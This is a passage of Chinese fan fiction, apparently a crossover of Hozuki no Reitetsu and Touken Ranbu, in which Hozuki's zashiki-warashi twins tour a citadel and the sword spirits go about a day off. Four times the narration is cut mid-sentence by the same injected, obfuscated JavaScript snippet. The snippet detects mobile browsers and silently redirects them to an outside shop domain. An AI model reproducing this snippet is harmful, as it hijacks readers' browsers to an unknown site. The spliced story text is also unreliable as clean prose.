在千祈某个好不容易待在本丸的夜晚,他蹲守在千守阁,两眼放精光地抱着千祈的腿,希望得到本丸财政大权,成功把千祈吓得腿软。 也如愿以偿地得到了本丸资源与资金支配大权,成为了本丸继烛台切光忠之后第二个没刃敢惹的大佬。 “在那之后,本丸在博多的运作下几经变动,拓宽成现在的规模;主人也逐渐找到了突发情况快速处理的诀窍,在本丸的时间也多了起来。”当然,主要是处理升迁后上司推给她的各类工作。 说话间,压切长谷部将几人带到了接待客人的会客厅。 拉开樟子门,作为东道主的千祈正经跪坐在和室中央,微微欠身欢迎。 “鬼灯大人,以及两位可爱的小姐,下午好。” 鬼灯从压切长谷部那边听到了千祈成为审神者后的早期生活,就算是作为经验丰富的地狱辅佐官,也对千祈有了些许欣赏之意。 “不错,当初的选择是正确的。” 这么尽职敬责还很有能力的,还好当初他马上就撬过来了 莫名其妙的对话让千祈脑子短暂空白,一头雾水地表示: “……?什么选择?” 工作问题?还是地狱要作出什么变动?鬼灯终于打算撤掉阎魔大王自己上位了? 鬼灯平淡地拿出文件夹,递给千祈。 “没什么,一子和二子很喜欢你的礼物,借着这次给你带文件的机会顺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16635112|183324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便来谢谢你的礼物。” 右侧黑发的一子点点头,比划了一下:“点心,很喜欢。” “面具,很可爱。”二子也拿出面具说道。 两小只无论从表情还是语气都和鬼灯一般无二。 能得到两位可爱座敷童子的感谢,千祈也十分高兴:“你们喜欢就好,烛台切和宗三他们一定会很高兴的。” “我和千祈有些工作上的问题要谈一谈,这段时间你们在外面等待一下,可以吗?” “好。” “嗯。” …… 本丸内部的温度和气候调节来自于时之政府的气候系统,审神者只需要注入灵力,就可以维持系统很长一段时间的运作。 一子和二子趴在走廊边上,托腮观察着庭院中的草木。 一子看向右边的二子:“和地狱不一样。” 二子肯定地点头:“也不热。” 她们指的是本丸内部的气候和地狱完全不一样。 由于四处都在燃烧的原因,地狱的天空始终保持着火红的色彩。而这里却不一样,从外部来看本丸是和地狱一般映照着红色的。 身处内里时才发现,其中的气候和外部完全不一样。 这极大地激发了座敷童子的好奇与探索欲。 “要出动了吗?”一子高深莫测地对二子说道。 “嗯,准备好……”二子拿出狐狸面具,看向一子,两人相视点头。 “忍者出——” “准备什么?” 就在一子二子准备来一段动漫里面的角色台词时,少年声音出现在身后。 “咚——啪——”跌落声紧随其后。 刚刚准备好摆的姿势行动到一半便被打断。 浅褐色妹妹头,身穿军装,肩披小斗篷的少年眨了眨眼睛,随即意识到自己吓到了两个小妹妹,不好意思地道歉: “非常抱歉,我看你们在这里很无聊的样子,就想带着你们在本丸逛一逛。” 他笑了笑,有些无奈。 “没想到吓到你们了。” 一子二子没什么太大的表情波动,互相拍了拍双方衣服上不存在的灰尘后,两人目不转睛地看向前田藤四郎。 被座敷童子盯着的前田藤四郎似乎对这种寡言少语的孩子很习惯,温柔地说: “我是前田藤四郎,主人的刀剑之一,两位小姐需要我当导游,游览一下本丸吗?” 作为刀剑,为主人分担一些接待客人的责任也很必要呢。 30.地狱本丸的一日(三) “就从这里开始,目标是游览完本丸,怎么样?” 前田藤四郎微微弯腰,伸出双手:“同意的话击个掌?” 座敷童子双子看了看彼此,过了两秒,一人伸出一只手。 “啪!” “成交。” 前田藤四郎直起身,脸上露出笑容: “那我们走吧!” * “说起来,来地狱这么久,也认识了很多妖怪,有一种妖怪我一直没见过呢。” 部屋内,鲶尾藤四郎无聊地躺在地上,骨喰藤四郎跪坐桌前,认真撰写公文。 “是吗,哪一类?”没有分给自家兄弟一丝眼神,骨喰手里的笔动得飞快。 “你看哦,无论是赫赫有名的酒吞童子,还是历史上非常著名的狐妖妲己,就连神兽我们都见过了,但是目前为止有这样一种妖怪我们一直耳熟能详却没有见过实物。” 骨喰:“你想说什么?” “座敷童子啊座敷童子!” 鲶尾一个鲤鱼打挺坐了起来,凑到骨喰桌子前,无视了骨喰提前预判到自己突然凑近后眼疾手快抽走公文的动作。 他自顾自地说道:“这是一种福神一样的妖怪,据说家里有座敷童子的话,家族就会兴盛起来。” “地狱这么大,打听一下就好了。实在不行,找鬼灯大人也可以。” 那位阎魔大王的辅佐官为了给地狱招募狱卒一定认识各种各样的妖怪。 骨喰拿起另外一份公文,边应付着兄弟的天马行空,边继续埋头苦干。 这是他从记录科那边拿回来的办公一份公文,作为刚参与实习的准兼职狱卒,他还不能很快适应记录科的工作,只能带回来一部分不那么急用的材料继续写。 鲶尾藤四郎瞥了一眼骨喰,却发现对方那几乎没有多余表情的脸上,意外地出现一丝困惑。 “兄弟,你怎么和主人越来越像了,连拿着公文的表情都是和主人同款的皱眉。” “不,这张公文好像有问题。” “我看看我看看……” 鲶尾歪着脖子,努力看清骨喰手里的文件,干净整洁的文件上印着两个可爱的小手印。 “啊,文件被弄脏了。”这可不行,这类文件很重要,写错字都要重新写材料走一遍盖章流程的。 “没办法了,再写一份从记录科那边从头盖章了。” 他正打算帮自家兄弟抽出这份已经作废的文件,指尖却传来阻力。 “怎么了?” “文件,有问题。”骨喰藤四郎的眼睛敏锐地发现了什么,往后翻了翻。 “应该是装订出问题了,前页和后面的内容不匹配。” 还好有明显的手印,不然要是等他写差不多材料,翻到后面却发现装订错了,又要白弄。 “真幸运啊,还好提前发现了。”鲇尾感叹道,随即有些疑惑。 “按理来说,这么明显的脏污,应该是小孩子恶作剧弄上去的吧,兄弟你拿回来的时候没注意到吗?” 骨喰摇摇头,也为此感到有些奇怪:“不知道,或许是部屋其他兄弟们不小心弄上去的吧。” …… 窗台下,阴影中,几道黑影窃窃私语。 “计划通过。” “完成任务。” “我们真的有必要打扮成这样吗?”前田藤四郎拢了拢斗篷,把一子二子包在里头。 两位小客人要用这种方式观察本丸,他也只好答应。 “我们更喜欢这种方式。” “可以更好地观察住户的生活。” 几乎是没有任何停歇地,两位座敷童子解释后马不停蹄地,一人一只手拉着前田跑向另外一个方向。 部屋内,鲶尾看向窗外。 “嗯……” …… “接下来是马厩。” 即使身为妖怪的座敷童子速度飞快,前田也能轻松跟上两人步伐,周边的树木随着几人奔跑飞快掠过身后。 站定后,前田打开马厩门,叮嘱一子二子: “别的马儿都还好,只有那匹叫小云雀的马儿有些顽皮,你们要小……” 转过身,两位座敷童子已经一人坐在马背上,一人趴在围栏上,同时抚摸小云雀的鬃毛。 “小云雀!” 前田藤四郎大惊。 不可以生气啊小云雀,稳住!千万不能一生气就把客人甩出去! 背上黏着两个顽皮的小孩子,小云雀却没什么剧烈的反应,只是很温和地任由座敷童子们抚摸。 “毛,有点硬。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16663466|183324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “很温顺。” “哦哦,座敷童子原来还有安抚小云雀的天赋啊。” 前田吓一跳,猛地转身:“鲶尾哥!你什么时候来的!” 鲶尾哈哈一笑,解释说:“刚刚你们说话的声音可不小,可不能因为我是胁差就觉得侦查力不够啊。” 前田隐藏得确实很好,两位座敷童子也不差。不过后者和久经战场的刀剑比还是略逊一筹。 一子二子依旧搓着小云雀的头,惹得马儿有些不耐烦,摇了摇头以示抗议后,两人利落地跳下。 “被发现了。” “还需要修行” “需要帮忙的话记得和我说,不过现在还有工作上的事情需要做。” 鲶尾摆了摆手,补充道:“毕竟你们也好心地把有问题的文件挑出来了,骨喰说谢谢你们哦。” 一子二子点头头,对鲶尾的感谢表示了解,随即又好奇对方所说的工作是什么:“工作,文件吗?” “不是啦,”鲶尾摇头,解释道,“是屎泥处的委托。” “本丸的大家在地狱领了兼职差事,轮到我去屎泥处交流。过一会我去报道,顺便给那边的屎壳郎狱卒们带一点本丸特产。” “屎泥处,很臭。要带防毒面具。”二子好心提醒。 “但是也很有趣,可以看屎壳郎滚粪球。” 说起这个鲶尾也很兴奋:“谢谢提醒,听说这个部门的人员都很专业,说不定可以学习一番配比……” 前田:“鲶尾哥……小心上战场把大家都熏晕哦。” “哈哈哈。” “不要用干笑转移话题,要是真的不小心熏晕主人,会被药研哥和一期哥训的!” “我出发了,拜拜!玩得开心啊前田和两位小姐!”鲶尾提起一桶马粪,骑上小云雀便飞奔而去。 “喜欢的话还有一桶马粪,两位可以带走啊——!” 远处传来鲶尾的声音。 “真是的……”前田扶正被风吹歪的帽子,不满地抱怨。 “不是所有人都喜欢玩这种东西啊鲶尾哥!” 一子用树枝戳了戳已经有些干的马粪。 “那么——” 二子起身,拍拍衣袖上的灰尘,接道: “——接下来去哪里呢?” 31.地狱本丸的一日(四) “这里就是本丸大家平常踏青的地方。” 前田带领着两小只到万叶樱下,巨大樱花树向四周伸展出枝叶,笼罩着小小的山坡。三个豆丁在庞然巨树的衬托之下变成微小的几个点。 一刃两妖嗖嗖地快速上树,依靠在巨大的枝干边眺望本丸的全景。 前田指着本丸的不同建筑,为一子二子介绍: “那边是天守阁,主人大部分时候都在天守阁加班,偶尔也会被邀请到部屋和本丸的大家一起睡大通铺。” “像现世修学旅行那样,可以打枕头大战哦。” 他温柔笑着,指尖偏移,指向天守阁附近的温泉浴场。 远远望去,温泉周边以及内部造景都被种下火红的枫树,枫树的叶子随风簌簌作响,只是看着就能感到秋意。 “旁边是本丸的温泉,在主人的改造下多了一汪从地狱引来的泉水,疗养效果也很不错。” “如果有时间,你们可以在这里泡一泡,顺便欣赏景色,温泉周边的枫叶是大家一起种下的,夜景很美呢。” 说到这里,前田突然想起什么。 “说起来,虽然可以在本丸泡到正宗的地狱泉,但是我们还没有见识过真正的地狱温泉呢。” 主人的闲暇时间实在不多,他也要过几天才去兼职的狱卒岗位报道,对地狱的了解基本来自于兄弟们讲述,以及主人偶尔带他办公时的见闻。 一子和二子对视一眼,学着鬼灯给人科普的模样,拿出一本活页本,有模有样地介绍道: “地狱温泉,实际上很烫。不能直接泡。” 一子握着笔,在本子上画出一口简陋的地狱大锅。 “八热地狱的狱卒会把地狱温泉的水引到刑场,惩罚罪人。” “不过有时候他们也会加一些很有意思的东西在里面。”二子拿起笔,在画上加了几笔表示臭气的圈圈。 “原来如此。”前田听得很认真,还主动做了笔记。 这让两位座敷童子有些小小的骄傲,两人讲解更加上头。 “屎泥处的配方,也会用在这里面。”一子接过笔,在那口锅旁边画了几个便便。 高温配上令人作呕的气味,每一位享受者都会无一例外地打上差评。 这正是鬼灯想要的效果。 “屎泥处,就是鲶尾哥今天去的地方吧,原来那个部门还有这么重要职责。”前田惊叹。 他还以为只是单纯做清洁的地方,没想到啊。 “有时候我们也会戴上防毒面具观察里面工作的屎壳郎,很有意思。” 一子想了想,拿出画笔,画了一个发抖的小人和一滩水,继续介绍道: “八热地狱的温泉很烫,需要八寒地狱的水中和成普通温泉。” “八热地狱除了刑场外所有的浴场都是这样的,阎魔殿的职工浴场也是。” 二子补充:“还有很多金鱼草,我们很喜欢。” 就是阎魔殿后面那片会尖叫的金鱼草吗? 前田暗自思索。 主人之前某天在阎魔殿加班后心血来潮想体验一番阎魔殿的温泉,结果被满地金鱼草吓回本丸。 嗯……本丸这口新的地狱温泉好像就是那天之后修建的。 前田好像明白了什么,他神色如常地转移两位小客人的注意: “玩那么久也累了吧,我们去厨房吃点点心吧?” 一子二子其实精力还很足,但前田这样说,加上鬼灯此前教导她们要有礼貌,想了想还是点头答应。 “好”x2 …… “给,两位小姐需要牛奶吗?” 烛台切光忠刚刚结束打扫工作,正打算去给会议室商谈工作的千祈以及鬼灯送去茶歇。没想到一转头,领着客人参观的平野藤四郎出现在面前。 于是就那么顺理成章地拿出多出来的茶点,招待两位座敷童子。 面对这位独眼却非常帅气的烛台切光忠,一子二子齐齐点头,乖巧的样子让烛台切光忠露出会心一笑。 他笑着打开厨房门,对厨房在忙碌做甜点的人说道:“小豆,来客人了,三杯牛奶。我去给会客室那边送茶歇。” “啊,是客人吗?”小豆长光穿着黑色衬衫和西裤,外面却套着有“azuki”字样的粉色小豆围裙从厨房探出身子。 “小豆先生!” 平野站起身,对小豆长光介绍道:”这是鬼灯先生的同伴,一子和二子。” 然后对一子二子介绍说:“这位是小豆长光,和烛台切光忠一样都是长船派的刀剑。” “你们好,还需要吃点别的东西吗,我这里还做了些豆沙口味的甜点。”红豆色头发的刀剑付丧神温柔地问。 对方温柔地打出了爆杀。 一子:不妙。 二子:不好。 “请务必!”x2 …… 会议室这边,鬼灯和千祈的谈话告一段落。 两人谈起地狱的现状。 “支撑起这样庞大的地狱运作,鬼灯大人真的很了不起呢。” 千祈一离开工作模式,整个人马上懒散起来。她不顾形象地大大伸了个懒腰,并对鬼灯这个工作狂表示由衷地佩服。 虽说现在她的工作量还是很大,但多少也能有自己的时间,还不用担心上司闯祸拖后腿。 人一闲下来就会开始观察周围,直到鬼灯刚刚说打算告辞巡查地狱,千祈才反应过来这位上司似乎在她印象中从未休息过。 “这是乐趣所在。”鬼灯不为所动,收拾好文件后准备告辞。 “好吧,”果然不是很理解鬼灯这种工作狂的想法,千祈无奈一笑,说起一子和二子,“你带来的两位小姐不在门口,我带你去找她们。” 本丸的一草一木依托她的灵力生长,只要她愿意,本丸之内的动向她都知道。 因此前田藤四郎主动带着两位座敷童子参观本丸的事情她也知道。 嗯,顺便也知道了鲶尾今天轮到去屎泥处工作学习去了。希望之后鲶尾不要把生化武器带回本丸。 引着鬼灯走向食堂的方向,越靠近食堂,越能听见刀剑们围在一起叽叽喳喳的吵闹声。 “好厉害,好灵活啊!” “大虎,小心!” “感觉两个孩子都很有潜力啊……” “哈哈哈一子看过来!” 食堂外的空地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16748514|183324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被围了刀剑们一圈,走近才发现,原来是一子二子在和短刀们玩闹。 “怎么了这是?”千祈率先问道,“他们这是……玩丢球?” 眼前的场地被画出框框,中间立起一根绳子用来当做分界线,一子二子在左,五虎退和大虎在右边。 前田脖子上挂着一个可爱的小哨子。 拳头大的球被几人丢得看不见形状,只能偶尔捕捉到一丝影子,足见速度之快。 “主人,”小豆长光看到千祈带着鬼灯走进,适时地解释道,“两位小姐在这里吃了点东西补充,然后遇到了叼着球想要玩游戏的大虎,以及正在找场地的五虎退。” 后面的事情也顺理成章,小豆长光还要准备下午的配菜无法参与,五虎退邀请一子二子一起玩丢球的游戏,由前田做裁判。 “一开始五虎退考虑到对方就算是普通妖怪也应该不会特别厉害,没想到玩了一会就变成这样了。” “虽然力量不足,身法也稍微欠缺,但能够跟上极化后五虎退的节奏这件事也很值得赞叹。” 小豆长光引导千祈和鬼灯看向场内。虽然俗话说双拳难敌四手,但面对两位座敷童子近乎发球器一样的速度,五虎退和大虎也丝毫不惧。 大虎要么用头顶回去,或是用尾巴拍回去,五虎退则总是在最为刁钻的地方接到球再抛回给一子二子。 玩着玩着,连裁判前田藤四郎都看着有些意动。自然也吸引了一些附近路过的刀剑。 最多的自然是之前被五虎退问过要不要玩球的粟田口一家。 在看到鬼灯和千祈身影后,场上激战正酣的几位立马抛开球,一个闪身到两人面前。 一子二子安静站着鬼灯旁边,五虎退站定后小声叫道:“主人!”,随后而来的大虎也低吼一声。 千祈依次摸了摸五虎退和大虎的头,又轻轻拍了拍前田的肩膀。 “辛苦了。”千祈对着前田感谢,她一时忘了这两位座敷童子的精力有多旺盛,还好前田主动提出带着两个孩子玩,也不算太怠慢客人。 然后是两位客人:“玩得开心吗?” 一子二子点点头。 “喜欢的话,有时间可以来本丸坐一坐,对吧?”千祈看向刚刚和座敷童子玩得很开心的五虎退。 五虎退期待地看着鬼灯和一子二子。 鬼灯低头看了看虽然面无表情,但依旧能看出“快答应”之类词语的姐妹俩,松口道: “如果你愿意陪她们玩的话再好不过了,如果造成困扰的话要及时说出来。” 刀剑付丧神有这样的实力,应该能遭得住这对双胞的精力。 而且一子和二子也不是熊孩子,只是比较活泼。 “好耶!” “答应了!” “下次来了我们也可以一起玩哦!” 一旁围观的短刀们叽叽喳喳欢呼起来,虽然有些可惜没能来得及介绍自己,但是下一次就可以好好一起玩了。 “那么——”差不多也是告别的时候了。 “今日上门多有叨扰,再见了各位。” 一子二子也挥挥手。 “再见。”×2 “拜拜”xN 32.日常 第二天,千祈照常起床。 然后在床边发呆五分钟,听到动静的今日近侍三日月宗近隔门问候了一句: “主人,需要服侍吗?” 成功被吓得一激灵,慌忙不迭的千祈发出打工人刻在灵魂的回应。 “不用,我马上就收拾好去上班!” 一门之隔的五花太刀勾了勾嘴角,抬起袖子,不慌不忙地提醒: “今天休假,主人。” 话音刚落,屋内发出“咚”的一声。似乎是什么重物摔了下去。 “主人?”三日月宗近的声音中带着一丝关心,却并未贸然开启樟子门。 那声响听起来是摔在被褥上的,再怎么样也不会伤到哪去。主人刚刚起床,都没来得及洗漱换衣,现在太过急切地开门反而落得尴尬。 “真的不需要我来服侍您吗?”某振平安太刀还在逗他的主人。 “疼疼疼,不用,马上马上。” 三日月自己都捯饬不明白,还想捯饬她? 算了吧,能关心她几句已经很贴心了。 千祈一边敷衍着三日月宗近,一边把自己的脚从缠作一团的被褥里解放出来。 昨晚上不知道怎么睡的,居然能睡到被套里面,还把被套和被芯缠在一起了。 刚刚起床脑子不清醒,还以为上班迟到,一着急又栽回床上。 好不容易把自己从乱作一团的被子里解救出来,千祈立刻麻利地打整好床铺,冲去天守阁卧室配套的卫生间洗漱。 衣服,还是平日里那套织羽吧,地狱冥风淳朴,主打一个舒服就好。 袜子……不是很想穿,虽然本丸的温度可以稳定维持在一个合适的温度,不必担心着凉的问题。 但是一想到药研藤四郎不赞同的目光,短刀们泪汪汪的眼神,以及门外那位老爷子总是笑眯眯地哄骗她穿上老年款秋衣秋裤的往事,千祈还是拿出袜子。 老老实实穿上吧,这本丸有一个算一个在年龄上都算她祖宗。 整装待毕,千祈拉开房门,中气十足地叫上三日月。 “走吧,我们在本丸转转。” 三日月宗近不为所动,三日月宗近面露难色,但还是以非常完美的姿态,委婉地提醒道: “主人,需要先为林小姐处理一下目前的状态吗?” “……”完蛋,晚上报复性熬夜刷手机,差点忘了今天还有这事。 昨天鬼灯来的时候提起过关于侨梅的灵魂和身体的问题,并向千祈提议。 鬼灯:【出云的聚会已经结束了,想要请教五道轮转王的话,这两天正是好时机。】 “还好有三日月提醒,”千祈拍拍胸口,一副庆幸的样子。 “那就叫上侨梅,再一起出发吧!” “哈哈哈哈,甚好甚好。” …… 找到侨梅并不难,作为本丸里唯一的小猫,侨梅在短刀中可谓是众星捧月,为所欲为。 刀剑们都知道这是一缕在主人灵力作用下化身猫咪的人类灵魂,却不妨碍短刀们带着她一起玩耍。 因此,本丸最闹腾的地方,必定能找得到侨梅。 用上一点点感知,朝着短刀们玩闹的方向走就好了。 走到部屋左侧的水池附近,远远地望见几个人围在池子旁的大树下,整齐地抬头看向树冠。 “侨梅,找到了,在那里!”这是脚踩木屐,指着树枝某个方位的今剑。 后藤藤四郎竖起手指,放在嘴巴上:“嘘——别惊动了那只鸟!” 厚藤四郎扯着布,对和自己一起拉布接东西的秋田藤四郎提醒:“小心点啊,别落水里。” “知道了。” 在场个子最高的笑面青江一副失魂落魄,魂牵梦萦地瘫在廊下,眼巴巴望着不远处的树说着:“我的金球——” 和平日那个安静的时候是神秘美人,工作时候是绅士,偶尔语出惊人飙飙车的笑面青江相去甚远。 千祈:这又是闹哪出? “啊,主人,请不要太靠近。” 往常看到千祈时化身黏皮糖恨不能粘在主人身上的今剑,此刻连连摆手,然后专心盯着树梢。 “这是……在干什么?”捅马蜂窝吗? 有些疑惑地看了看短刀们,再瞅了瞅青江。三日月也大概知道同僚们在做些什么: “怕是青江殿的东西被什么小动物给带走了。” 树上,侨梅猫小心翼翼靠近背对自己,专心整理自己窝的乌鸦。 那窝做的实在草率,树枝横七竖八地勉强拼凑成“窝”的形状,一个硕大的金色刀装占据了其中为数不多、还算整洁的空间。 许是什么东西惊动了乌鸦,它往后看了一眼扑过来的侨梅猫,猛地拍拍翅膀飞走了。 没刹得住的小猫连着窝里的金球一齐冲飞。 “啊——侨梅,小心!”今剑脚下用力,如飞鸟一般轻盈跳起,接住了小猫。 与此同时,厚和后藤也接住了被侨梅连带着弄掉下来的金球。 “接住了,侨梅干得好!”今剑把侨梅猫举高高,毫不吝啬地夸奖。 “太好了,青江殿的金球救下来了!”两位小短刀将接球的布就着一裹,包好的金球递给笑面青江。 青江大喜,接过被乌鸦带走用作装饰求偶的金球,贴到脸颊边蹭。 “啊,回来了,温暖的球。” 旁观了救援金球活动的老爷子拍掌:“哈哈哈哈,甚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16788243|183324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好甚好。” 侨梅那边在cos辛巴就算了,青江这一出“生了,是个球”是什么情况? 千祈把吐槽的话在嘴边绕了一圈,还是没能说出口,倒是短刀们把金刀装还给青江后跑到她身旁。 “大将,是打算出门工作吗?我可以辅佐哦!”本丸审神者事业粉厚藤四郎马上举荐自己。 后藤藤四郎不甘落后:“好狡猾,可不能因为你比我高就率先出击啊。大将,我也可以辅佐大将的哦。” 今剑抱着猫猫,也参与到想要帮助主人工作的自荐活动中。 “什么什么,主公大人工作的话可以带上我哦!” 猫咪状态的侨梅虽然不清楚大家都在争论什么,但也很配合地“咪”了一声。 只是去拜访一下五道转轮王而已,用不着带上那么多刀剑,但短刀们实在热情,换做是刚上任的她可能一不小心就会沦陷在可爱短刀们的关心和央求下。 但她是已经有了足够经验的千祈。 被短刀包围的她已经很习惯这类甜蜜的苦恼,熟练地处理: “有你们的帮助再好不过,我确实有事情需要大家帮忙。” “什么什么!”三小只期待地看着千祈。 “时之政府那边需要有人帮我拿每个月下发的物资和递交给地狱的文件。” 前几天某个狐面男用通讯和她说了这件事,因为当时她还在福冈追踪线索,加上并不是很急切的事情,就被她暂时搁置了。 “加上我手上还有一份需要递交给总部的报告,正好需要三个人帮把手。” “交给我们吧,大将!” “我们比比谁更快更好!” “要和天狗比速度吗?” 小短刀们说着就要马上行动。 “等等,把侨梅留下来,”面对短刀们不解的神色,千祈解释说,“侨梅当了这么久的猫,是时候让她醒过来了。” “毕竟她的身体还在客房里面放着,这可不是个办法。” 虽然那具躯体从现世的角度来看已经死亡,但对于千祈这样的灵力专家来说,侨梅灵魂与躯体联系太过紧密,长时间分离不是什么好事。 好在侨梅是人的事情本丸的大家都是知道的,短刀们也非常理解。 今剑把侨梅交给千祈,点了点小猫粉粉的鼻子:“原来是这样,那祝你早日康复啊,侨梅。” “要顺利地变强啊!”厚藤四郎中气十足地鼓励侨梅。 “长高了以后就可以帮上更多忙了呢。”后藤藤四郎摸了摸侨梅脑袋,换回了猫咪乖巧地“喵”一声。 “那就拜托你们了。” 妥善安排好主动请缨的短刀,接下来,就要处理侨梅的事情了。